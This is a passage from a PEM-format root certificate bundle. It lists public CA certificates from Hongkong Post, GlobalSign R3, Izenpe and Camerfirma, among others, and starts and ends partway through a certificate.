c2suZWUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKExlBUyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMRAw DgYDVQQDEwdKdXVyLVNLMB4XDTAxMDgzMDE0MjMwMVoXDTE2MDgyNjE0MjMwMVowXTEYMBYGCSqG SIb3DQEJARYJcGtpQHNrLmVlMQswCQYDVQQGEwJFRTEiMCAGA1UEChMZQVMgU2VydGlmaXRzZWVy aW1pc2tlc2t1czEQMA4GA1UEAxMHSnV1ci1TSzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAIFxNj4zB9bjMI0TfncyRsvPGbJgMUaXhvSYRqTCZUXP00B841oiqBB4M8yIsdOBSvZiF3tf TQou0M+LI+5PAk676w7KvRhj6IAcjeEcjT3g/1tf6mTll+g/mX8MCgkzABpTpyHhOEvWgxutr2TC +Rx6jGZITWYfGAriPrsfB2WThbkasLnE+w0R9vXW+RvHLCu3GFH+4Hv2qEivbDtPL+/40UceJlfw UR0zlv/vWT3aTdEVNMfqPxZIe5EcgEMPPbgFPtGzlc3Yyg/CQ2fbt5PgIoIuvvVoKIO5wTtpeyDa Tpxt4brNj3pssAki14sL2xzVWiZbDcDq5WDQn/413z8CAwEAAaOCAawwggGoMA8GA1UdEwEB/wQF MAMBAf8wggEWBgNVHSAEggENMIIBCTCCAQUGCisGAQQBzh8BAQEwgfYwgdAGCCsGAQUFBwICMIHD HoHAAFMAZQBlACAAcwBlAHIAdABpAGYAaQBrAGEAYQB0ACAAbwBuACAAdgDkAGwAagBhAHMAdABh AHQAdQBkACAAQQBTAC0AaQBzACAAUwBlAHIAdABpAGYAaQB0AHMAZQBlAHIAaQBtAGkAcwBrAGUA cwBrAHUAcwAgAGEAbABhAG0ALQBTAEsAIABzAGUAcgB0AGkAZgBpAGsAYQBhAHQAaQBkAGUAIABr AGkAbgBuAGkAdABhAG0AaQBzAGUAawBzMCEGCCsGAQUFBwIBFhVodHRwOi8vd3d3LnNrLmVlL2Nw cy8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3d3dy5zay5lZS9qdXVyL2NybC8wHQYDVR0OBBYE FASqekej5ImvGs8KQKcYP2/v6X2+MB8GA1UdIwQYMBaAFASqekej5ImvGs8KQKcYP2/v6X2+MA4G A1UdDwEB/wQEAwIB5jANBgkqhkiG9w0BAQUFAAOCAQEAe8EYlFOiCfP+JmeaUOTDBS8rNXiRTHyo ERF5TElZrMj3hWVcRrs7EKACr81Ptcw2Kuxd/u+gkcm2k298gFTsxwhwDY77guwqYHhpNjbRxZyL abVAyJRld/JXIWY7zoVAtjNjGr95HvxcHdMdkxuLDF2FvZkwMhgJkVLpfKG6/2SSmuz+Ne6ML678 IIbsSt4beDI3poHSna9aEhbKmVv8b20OxaAehsmR0FyYgl9jDIpaq9iVpszLita/ZEuOyoqysOkh Mp6qqIWYNIE5ITuoOlIyPfZrN4YGWhWY3PARZv40ILcD9EEQfTmEeZZyY7aWAuVrua0ZTbvGRNs2 yyqcjg== -----END CERTIFICATE----- Hongkong Post Root CA 1 ======================= -----BEGIN CERTIFICATE----- MIIDMDCCAhigAwIBAgICA+gwDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoT DUhvbmdrb25nIFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMB4XDTAzMDUx NTA1MTMxNFoXDTIzMDUxNTA0NTIyOVowRzELMAkGA1UEBhMCSEsxFjAUBgNVBAoTDUhvbmdrb25n IFBvc3QxIDAeBgNVBAMTF0hvbmdrb25nIFBvc3QgUm9vdCBDQSAxMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEArP84tulmAknjorThkPlAj3n54r15/gK97iSSHSL22oVyaf7XPwnU3ZG1 ApzQjVrhVcNQhrkpJsLj2aDxaQMoIIBFIi1WpztUlVYiWR8o3x8gPW2iNr4joLFutbEnPzlTCeqr auh0ssJlXI6/fMN4hM2eFvz1Lk8gKgifd/PFHsSaUmYeSF7jEAaPIpjhZY4bXSNmO7ilMlHIhqqh qZ5/dpTCpmy3QfDVyAY45tQM4vM7TG1QjMSDJ8EThFk9nnV0ttgCXjqQesBCNnLsak3c78QA3xMY V18meMjWCnl3v/evt3a5pQuEF10Q6m/hq5URX208o1xNg1vysxmKgIsLhwIDAQABoyYwJDASBgNV HRMBAf8ECDAGAQH/AgEDMA4GA1UdDwEB/wQEAwIBxjANBgkqhkiG9w0BAQUFAAOCAQEADkbVPK7i h9legYsCmEEIjEy82tvuJxuC52pF7BaLT4Wg87JwvVqWuspube5Gi27nKi6Wsxkz67SfqLI37pio l7Yutmcn1KZJ/RyTZXaeQi/cImyaT/JaFTmxcdcrUehtHJjA2Sr0oYJ71clBoiMBdDhViw+5Lmei IAQ32pwL0xch4I+XeTRvhEgCIDMb5jREn5Fw9IBehEPCKdJsEhTkYY2sEJCehFC78JZvRZ+K88ps T/oROhUVRsPNH4NbLUES7VBnQRM9IauUiqpOfMGx+6fWtScvl6tu4B3i0RwsH0Ti/L6RoZz71ilT c4afU9hDDl3WY4JxHYB0yvbiAmvZWg== -----END CERTIFICATE----- SecureSign RootCA11 =================== -----BEGIN CERTIFICATE----- MIIDbTCCAlWgAwIBAgIBATANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQGEwJKUDErMCkGA1UEChMi SmFwYW4gQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcywgSW5jLjEcMBoGA1UEAxMTU2VjdXJlU2lnbiBS b290Q0ExMTAeFw0wOTA0MDgwNDU2NDdaFw0yOTA0MDgwNDU2NDdaMFgxCzAJBgNVBAYTAkpQMSsw KQYDVQQKEyJKYXBhbiBDZXJ0aWZpY2F0aW9uIFNlcnZpY2VzLCBJbmMuMRwwGgYDVQQDExNTZWN1 cmVTaWduIFJvb3RDQTExMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA/XeqpRyQBTvL TJszi1oURaTnkBbR31fSIRCkF/3frNYfp+TbfPfs37gD2pRY/V1yfIw/XwFndBWW4wI8h9uuywGO wvNmxoVF9ALGOrVisq/6nL+k5tSAMJjzDbaTj6nU2DbysPyKyiyhFTOVMdrAG/LuYpmGYz+/3ZMq g6h2uRMft85OQoWPIucuGvKVCbIFtUROd6EgvanyTgp9UK31BQ1FT0Zx/Sg+U/sE2C3XZR1KG/rP O7AxmjVuyIsG0wCR8pQIZUyxNAYAeoni8McDWc/V1uinMrPmmECGxc0nEovMe863ETxiYAcjPitA bpSACW22s293bzUIUPsCh8U+iQIDAQABo0IwQDAdBgNVHQ4EFgQUW/hNT7KlhtQ60vFjmqC+CfZX t94wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAKCh OBZmLqdWHyGcBvod7bkixTgm2E5P7KN/ed5GIaGHd48HCJqypMWvDzKYC3xmKbabfSVSSUOrTC4r bnpwrxYO4wJs+0LmGJ1F2FXI6Dvd5+H0LgscNFxsWEr7jIhQX5Ucv+2rIrVls4W6ng+4reV6G4pQ Oh29Dbx7VFALuUKvVaAYga1lme++5Jy/xIWrQbJUb9wlze144o4MjQlJ3WN7WmmWAiGovVJZ6X01 y8hSyn+B/tlr0/cR7SXf+Of5pPpyl4RTDaXQMhhRdlkUbA/r7F+AjHVDg8OFmP9Mni0N5HeDk061 lgeLKBObjBmNQSdJQO7e5iNEOdyhIta6A/I= -----END CERTIFICATE----- ACEDICOM Root ============= -----BEGIN CERTIFICATE----- MIIFtTCCA52gAwIBAgIIYY3HhjsBggUwDQYJKoZIhvcNAQEFBQAwRDEWMBQGA1UEAwwNQUNFRElD T00gUm9vdDEMMAoGA1UECwwDUEtJMQ8wDQYDVQQKDAZFRElDT00xCzAJBgNVBAYTAkVTMB4XDTA4 MDQxODE2MjQyMloXDTI4MDQxMzE2MjQyMlowRDEWMBQGA1UEAwwNQUNFRElDT00gUm9vdDEMMAoG A1UECwwDUEtJMQ8wDQYDVQQKDAZFRElDT00xCzAJBgNVBAYTAkVTMIICIjANBgkqhkiG9w0BAQEF AAOCAg8AMIICCgKCAgEA/5KV4WgGdrQsyFhIyv2AVClVYyT/kGWbEHV7w2rbYgIB8hiGtXxaOLHk WLn709gtn70yN78sFW2+tfQh0hOR2QetAQXW8713zl9CgQr5auODAKgrLlUTY4HKRxx7XBZXehuD YAQ6PmXDzQHe3qTWDLqO3tkE7hdWIpuPY/1NFgu3e3eM+SW10W2ZEi5PGrjm6gSSrj0RuVFCPYew MYWveVqc/udOXpJPQ/yrOq2lEiZmueIM15jO1FillUAKt0SdE3QrwqXrIhWYENiLxQSfHY9g5QYb m8+5eaA9oiM/Qj9r+hwDezCNzmzAv+YbX79nuIQZ1RXve8uQNjFiybwCq0Zfm/4aaJQ0PZCOrfbk HQl/Sog4P75n/TSW9R28MHTLOO7VbKvU/PQAtwBbhTIWdjPp2KOZnQUAqhbm84F9b32qhm2tFXTT xKJxqvQUfecyuB+81fFOvW8XAjnXDpVCOscAPukmYxHqC9FK/xidstd7LzrZlvvoHpKuE1XI2Sf2 3EgbsCTBheN3nZqk8wwRHQ3ItBTutYJXCb8gWH8vIiPYcMt5bMlL8qkqyPyHK9caUPgn6C9D4zq9 2Fdx/c6mUlv53U3t5fZvie27k5x2IXXwkkwp9y+cAS7+UEaeZAwUswdbxcJzbPEHXEUkFDWug/Fq TYl6+rPYLWbwNof1K1MCAwEAAaOBqjCBpzAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFKaz 4SsrSbbXc6GqlPUB53NlTKxQMA4GA1UdDwEB/wQEAwIBhjAdBgNVHQ4EFgQUprPhKytJttdzoaqU 9QHnc2VMrFAwRAYDVR0gBD0wOzA5BgRVHSAAMDEwLwYIKwYBBQUHAgEWI2h0dHA6Ly9hY2VkaWNv bS5lZGljb21ncm91cC5jb20vZG9jMA0GCSqGSIb3DQEBBQUAA4ICAQDOLAtSUWImfQwng4/F9tqg aHtPkl7qpHMyEVNEskTLnewPeUKzEKbHDZ3Ltvo/Onzqv4hTGzz3gvoFNTPhNahXwOf9jU8/kzJP eGYDdwdY6ZXIfj7QeQCM8htRM5u8lOk6e25SLTKeI6RF+7YuE7CLGLHdztUdp0J/Vb77W7tH1Pwk zQSulgUV1qzOMPPKC8W64iLgpq0i5ALudBF/TP94HTXa5gI06xgSYXcGCRZj6hitoocf8seACQl1 ThCojz2GuHURwCRiipZ7SkXp7FnFvmuD5uHorLUwHv4FB4D54SMNUI8FmP8sX+g7tq3PgbUhh8oI KiMnMCArz+2UW6yyetLHKKGKC5tNSixthT8Jcjxn4tncB7rrZXtaAWPWkFtPF2Y9fwsZo5NjEFIq nxQWWOLcpfShFosOkYuByptZ+thrkQdlVV9SH686+5DdaaVbnG0OLLb6zqylfDJKZ0DcMDQj3dcE I2bw/FWAp/tmGYI1Z2JwOV5vx+qQQEQIHriy1tvuWacNGHk0vFQYXlPKNFHtRQrmjseCNj6nOGOp MCwXEGCSn1WHElkQwg9naRHMTh5+Spqtr0CodaxWkHS4oJyleW/c6RrIaQXpuvoDs3zk4E7Czp3o tkYNbn5XOmeUwssfnHdKZ05phkOTOPu220+DkdRgfks+KzgHVZhepA== -----END CERTIFICATE----- Microsec e-Szigno Root CA 2009 ============================== -----BEGIN CERTIFICATE----- MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQGEwJIVTER MA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jv c2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o dTAeFw0wOTA2MTYxMTMwMThaFw0yOTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UE BwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUt U3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvPkd6mJviZpWNwrZuuyjNA fW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tccbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG 0IMZfcChEhyVbUr02MelTTMuhTlAdX4UfIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKA pxn1ntxVUwOXewdI/5n7N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm 1HxdrtbCxkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1+rUC AwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTLD8bf QkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAbBgNVHREE FDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqGSIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0o lZMEyL/azXm4Q5DwpL7v8u8hmLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfX I/OMn74dseGkddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775 tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c2Pm2G2JwCz02 yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5tHMN1Rq41Bab2XD0h7lbwyYIi LXpUq3DDfSJlgnCW -----END CERTIFICATE----- GlobalSign Root CA - R3 ======================= -----BEGIN CERTIFICATE----- MIIDXzCCAkegAwIBAgILBAAAAAABIVhTCKIwDQYJKoZIhvcNAQELBQAwTDEgMB4GA1UECxMXR2xv YmFsU2lnbiBSb290IENBIC0gUjMxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkdsb2Jh bFNpZ24wHhcNMDkwMzE4MTAwMDAwWhcNMjkwMzE4MTAwMDAwWjBMMSAwHgYDVQQLExdHbG9iYWxT aWduIFJvb3QgQ0EgLSBSMzETMBEGA1UEChMKR2xvYmFsU2lnbjETMBEGA1UEAxMKR2xvYmFsU2ln bjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMwldpB5BngiFvXAg7aEyiie/QV2EcWt iHL8RgJDx7KKnQRfJMsuS+FggkbhUqsMgUdwbN1k0ev1LKMPgj0MK66X17YUhhB5uzsTgHeMCOFJ 0mpiLx9e+pZo34knlTifBtc+ycsmWQ1z3rDI6SYOgxXG71uL0gRgykmmKPZpO/bLyCiR5Z2KYVc3 rHQU3HTgOu5yLy6c+9C7v/U9AOEGM+iCK65TpjoWc4zdQQ4gOsC0p6Hpsk+QLjJg6VfLuQSSaGjl OCZgdbKfd/+RFO+uIEn8rUAVSNECMWEZXriX7613t2Saer9fwRPvm2L7DWzgVGkWqQPabumDk3F2 xmmFghcCAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FI/wS3+oLkUkrk1Q+mOai97i3Ru8MA0GCSqGSIb3DQEBCwUAA4IBAQBLQNvAUKr+yAzv95ZURUm7 lgAJQayzE4aGKAczymvmdLm6AC2upArT9fHxD4q/c2dKg8dEe3jgr25sbwMpjjM5RcOO5LlXbKr8 EpbsU8Yt5CRsuZRj+9xTaGdWPoO4zzUhw8lo/s7awlOqzJCK6fBdRoyV3XpYKBovHd7NADdBj+1E bddTKJd+82cEHhXXipa0095MJ6RMG3NzdvQXmcIfeg7jLQitChws/zyrVQ4PkX4268NXSb7hLi18 YIvDQVETI53O9zJrlAGomecsMx86OyXShkDOOyyGeMlhLxS67ttVb9+E7gUJTb0o2HLO02JQZR7r kpeDMdmztcpHWD9f -----END CERTIFICATE----- Autoridad de Certificacion Firmaprofesional CIF A62634068 ========================================================= -----BEGIN CERTIFICATE----- MIIGFDCCA/ygAwIBAgIIU+w77vuySF8wDQYJKoZIhvcNAQEFBQAwUTELMAkGA1UEBhMCRVMxQjBA BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2 MjYzNDA2ODAeFw0wOTA1MjAwODM4MTVaFw0zMDEyMzEwODM4MTVaMFExCzAJBgNVBAYTAkVTMUIw QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY 7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMBIGA1Ud EwEB/wQIMAYBAf8CAQEwDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRlzeurNR4APn7VdMActHNH DhpkLzCBpgYDVR0gBIGeMIGbMIGYBgRVHSAAMIGPMC8GCCsGAQUFBwIBFiNodHRwOi8vd3d3LmZp cm1hcHJvZmVzaW9uYWwuY29tL2NwczBcBggrBgEFBQcCAjBQHk4AUABhAHMAZQBvACAAZABlACAA bABhACAAQgBvAG4AYQBuAG8AdgBhACAANAA3ACAAQgBhAHIAYwBlAGwAbwBuAGEAIAAwADgAMAAx ADcwDQYJKoZIhvcNAQEFBQADggIBABd9oPm03cXF661LJLWhAqvdpYhKsg9VSytXjDvlMd3+xDLx 51tkljYyGOylMnfX40S2wBEqgLk9am58m9Ot/MPWo+ZkKXzR4Tgegiv/J2Wv+xYVxC5xhOW1//qk R71kMrv2JYSiJ0L1ILDCExARzRAVukKQKtJE4ZYm6zFIEv0q2skGz3QeqUvVhyj5eTSSPi5E6PaP T481PyWzOdxjKpBrIF/EUhJOlywqrJ2X3kjyo2bbwtKDlaZmp54lD+kLM5FlClrD2VQS3a/DTg4f Jl4N3LON7NWBcN7STyQF82xO9UxJZo3R/9ILJUFI/lGExkKvgATP0H5kSeTy36LssUzAKh3ntLFl osS88Zj0qnAHY7S42jtM+kAiMFsRpvAFDsYCA0irhpuF3dvd6qJ2gHN99ZwExEWN57kci57q13XR crHedUTnQn3iV2t93Jm8PYMo6oCTjcVMZcFwgbg4/EMxsvYDNEeyrPsiBsse3RdHHF9mudMaotoR saS8I8nkvof/uZS2+F0gStRf571oe2XyFR7SOqkt6dhrJKyXWERHrVkY8SFlcN7ONGCoQPHzPKTD KCOM/iczQ0CgFzzr6juwcqajuUpLXhZI9LK8yIySxZ2frHI2vDSANGupi5LAuBft7HZT9SQBjLMi 6Et8Vcad+qMUu2WFbm5PEn4KPJ2V -----END CERTIFICATE----- Izenpe.com ========== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Chambers of Commerce Root - 2008 ================================ -----BEGIN CERTIFICATE----- MIIHTzCCBTegAwIBAgIJAKPaQn6ksa7aMA0GCSqGSIb3DQEBBQUAMIGuMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv bS9hZGRyZXNzKTESMBAGA1UEBRMJQTgyNzQzMjg3MRswGQYDVQQKExJBQyBDYW1lcmZpcm1hIFMu QS4xKTAnBgNVBAMTIENoYW1iZXJzIG9mIENvbW1lcmNlIFJvb3QgLSAyMDA4MB4XDTA4MDgwMTEy Mjk1MFoXDTM4MDczMTEyMjk1MFowga4xCzAJBgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNl ZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNhbWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQF EwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENhbWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJl cnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoIC AQCvAMtwNyuAWko6bHiUfaN/Gh/2NdW928sNRHI+JrKQUrpjOyhYb6WzbZSm891kDFX29ufyIiKA XuFixrYp4YFs8r/lfTJqVKAyGVn+H4vXPWCGhSRv4xGzdz4gljUha7MI2XAuZPeEklPWDrCQiorj h40G072QDuKZoRuGDtqaCrsLYVAGUvGef3bsyw/QHg3PmTA9HMRFEFis1tPo1+XqxQEHd9ZR5gN/ ikilTWh1uem8nk4ZcfUyS5xtYBkL+8ydddy/Js2Pk3g5eXNeJQ7KXOt3EgfLZEFHcpOrUMPrCXZk NNI5t3YRCQ12RcSprj1qr7V9ZS+UWBDsXHyvfuK2GNnQm05aSd+pZgvMPMZ4fKecHePOjlO+Bd5g D2vlGts/4+EhySnB8esHnFIbAURRPHsl18TlUlRdJQfKFiC4reRB7noI/plvg6aRArBsNlVq5331 lubKgdaX8ZSD6e2wsWsSaR6s+12pxZjptFtYer49okQ6Y1nUCyXeG0+95QGezdIp1Z8XGQpvvwyQ 0wlf2eOKNcx5Wk0ZN5K3xMGtr/R5JJqyAQuxr1yW84Ay+1w9mPGgP0revq+ULtlVmhduYJ1jbLhj ya6BXBg14JC7vjxPNyK5fuvPnnchpj04gftI2jE9K+OJ9dC1vX7gUMQSibMjmhAxhduub+84Mxh2 EQIDAQABo4IBbDCCAWgwEgYDVR0TAQH/BAgwBgEB/wIBDDAdBgNVHQ4EFgQU+SSsD7K1+HnA+mCI G8TZTQKeFxkwgeMGA1UdIwSB2zCB2IAU+SSsD7K1+HnA+mCIG8TZTQKeFxmhgbSkgbEwga4xCzAJ BgNVBAYTAkVVMUMwQQYDVQQHEzpNYWRyaWQgKHNlZSBjdXJyZW50IGFkZHJlc3MgYXQgd3d3LmNh bWVyZmlybWEuY29tL2FkZHJlc3MpMRIwEAYDVQQFEwlBODI3NDMyODcxGzAZBgNVBAoTEkFDIENh bWVyZmlybWEgUy5BLjEpMCcGA1UEAxMgQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdCAtIDIwMDiC CQCj2kJ+pLGu2jAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUH AgEWHGh0dHA6Ly9wb2xpY3kuY2FtZXJmaXJtYS5jb20wDQYJKoZIhvcNAQEFBQADggIBAJASryI1 wqM58C7e6bXpeHxIvj99RZJe6dqxGfwWPJ+0W2aeaufDuV2I6A+tzyMP3iU6XsxPpcG1Lawk0lgH 3qLPaYRgM+gQDROpI9CF5Y57pp49chNyM/WqfcZjHwj0/gF/JM8rLFQJ3uIrbZLGOU8W6jx+ekbU RWpGqOt1glanq6B8aBMz9p0w8G8nOSQjKpD9kCk18pPfNKXG9/jvjA9iSnyu0/VU+I22mlaHFoI6 M6taIgj3grrqLuBHmrS1RaMFO9ncLkVAO+rcf+g769HsJtg1pDDFOqxXnrN2pSB7+R5KBWIBpih1 YJeSDW4+TTdDDZIVnBgizVGZoCkaPF+KMjNbMMeJL0eYD6MDxvbxrN8y8NmBGuScvfaAFPDRLLmF 9dijscilIeUcE5fuDr3fKanvNFNb0+RqE4QGtjICxFKuItLcsiFCGtpA8CnJ7AoMXOLQusxI0zcK zBIKinmwPQN/aUv0NCB9szTqjktk9T79syNnFQ0EuPAtwQlRPLJsFfClI9eDdOTlLsn+mCdCxqvG nrDQWzilm1DefhiYtUU79nm06PcaewaD+9CL2rvHvRirCG88gGtAPxkZumWK5r7VXNM21+9AUiRg OGcEMeyP84LG3rlV8zsxkVrctQgVrXYlCg17LofiDKYGvCYQbTed7N14jHyAxfDZd0jQ -----END CERTIFICATE----- Global Chambersign Root - 2008 ============================== -----BEGIN CERTIFICATE----- MIIHSTCCBTGgAwIBAgIJAMnN0+nVfSPOMA0GCSqGSIb3DQEBBQUAMIGsMQswCQYDVQQGEwJFVTFD MEEGA1UEBxM6TWFkcmlkIChzZWUgY3VycmVudCBhZGRyZXNzIGF0IHd3dy5jYW1lcmZpcm1hLmNv 